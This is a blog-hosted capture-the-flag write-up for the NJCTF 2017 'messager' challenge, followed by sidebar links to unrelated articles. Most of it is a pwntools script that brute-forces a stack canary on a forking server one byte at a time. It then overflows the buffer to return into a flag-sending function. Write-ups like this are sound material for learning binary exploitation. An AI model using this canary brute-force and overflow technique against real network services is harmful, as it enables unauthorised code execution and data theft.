当前位置:网站首页>NJCTF 2017messager
NJCTF 2017messager
2022-07-19 10:21:00 【Day-3】
First, write a flag file .
echo “FLAG{THIS_IS_FLAG}” > flag
The program starts with flag Remove from the file , Store in unk_602160, Correspondingly, one passed socket send out flag Function of sub_400BC6(), The ultimate goal is to control the program to return to this function .
This question is open Canary Protect , But he starts one subprocess at a time , therefore Canary The value of does not change , We can blow it out , notes : Be sure to use python2, If a master knows why to use python3 If not , I really hope you can tell me .
from pwn import *
def leak_canary():
global canary
canary = "\x00"
while len(canary) < 8:
for x in range(0, 256):
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A"*104 + canary + chr(x))
try:
io.recv()
canary += chr(x)
break
except:
continue
finally:
io.close()
print(canary)
# print("canary: 0x%s" % canary.encode('hex'))
def pwn():
io = remote("127.0.0.1", 5555)
io.rec()
payload = flat(['A' * 104,canary,"A"*8,p64(0x400bc6)])
io.send(payload)
print(io.recvline())
if __name__=='__main__':
leak_canary()
pwn()
边栏推荐
- 【Unity技术积累】简易计时器 & 协程 & 延时函数
- Rasa 3. X learning series -rasa version 3.1.5 release
- Analysis of Web Remote Code Execution Vulnerability of Zhongke panyun-d module
- QT学习日记17——Qt数据库
- Distinction between private key and public key -- Explanation of private key and public key
- ash: /etc/apt/sources. List: insufficient permissions
- Scala 基础 (三):运算符和流程控制
- 标准化、归一化和正则化的关系
- 卫星网络中基于时变图的节能资源分配策略
- SSH連接華為ModelArts notebook
猜你喜欢

Aller à l'école = gagner de l'argent? L'Académie des fées sans frais de scolarité!

中科磐云——网络空间安全抓包题目 B.pcap
![高效理解 FreeSql WhereDynamicFilter,深入了解设计初衷[.NET ORM]](/img/cb/76200539c59bb865e60e5ea1121feb.png)
高效理解 FreeSql WhereDynamicFilter,深入了解设计初衷[.NET ORM]

HCIA 复习作答 2022.7.6

卫星网络中基于时变图的节能资源分配策略

Introduction to blender automated modeling

HCIA OSPF

Blender digital twin production tutorial

Rasa 3.x 学习系列-Rasa 3.1.5 版本发布

【MySQL】MySQL的增删查改(进阶)
随机推荐
C语言之构造类型细讲
SSH Connection Huawei modelarts Notebook
中科磐云——网络空间安全抓包题目 B.pcap
Network Security Learning (Qianfeng network security notes) 1-- building virtual machines
如何解决谷歌浏览器解决跨域访问的问题
Relationship between standardization, normalization and regularization
R语言dplyr包select函数删除dataframe数据中包含指定字符串内容的数据列(drop columns in dataframe)
Three.js基本元素使用
LVI-SAM:激光-IMU-相机紧耦合建图
上学=挣钱?无需缴纳学费的神仙院校!
R语言使用原生包(基础导入包、graphics)中的plot函数可视化散点图(scatter plot)
R语言使用R原生函数进行数据聚合统计(Aggregating transforms)计算滑动窗口统计值(Window Statistics)、计算滑动分组最小值(min)并合并生成的统计数据到原数据集
HCIA 复习作答 2022.7.6
HCIA 静态基础实验 7.8
中科磐云—D模块web远程代码执行漏洞解析
图神经网络的可解释性方法介绍和GNNExplainer解释预测的代码示例
The module created by yourself uses CMD to open the report modulenotfounderror: no module named solution
opencv 画黑色矩形,并写上序号
BEV空间内的特征级融合
B. AccurateLee【双指针】【substr函数】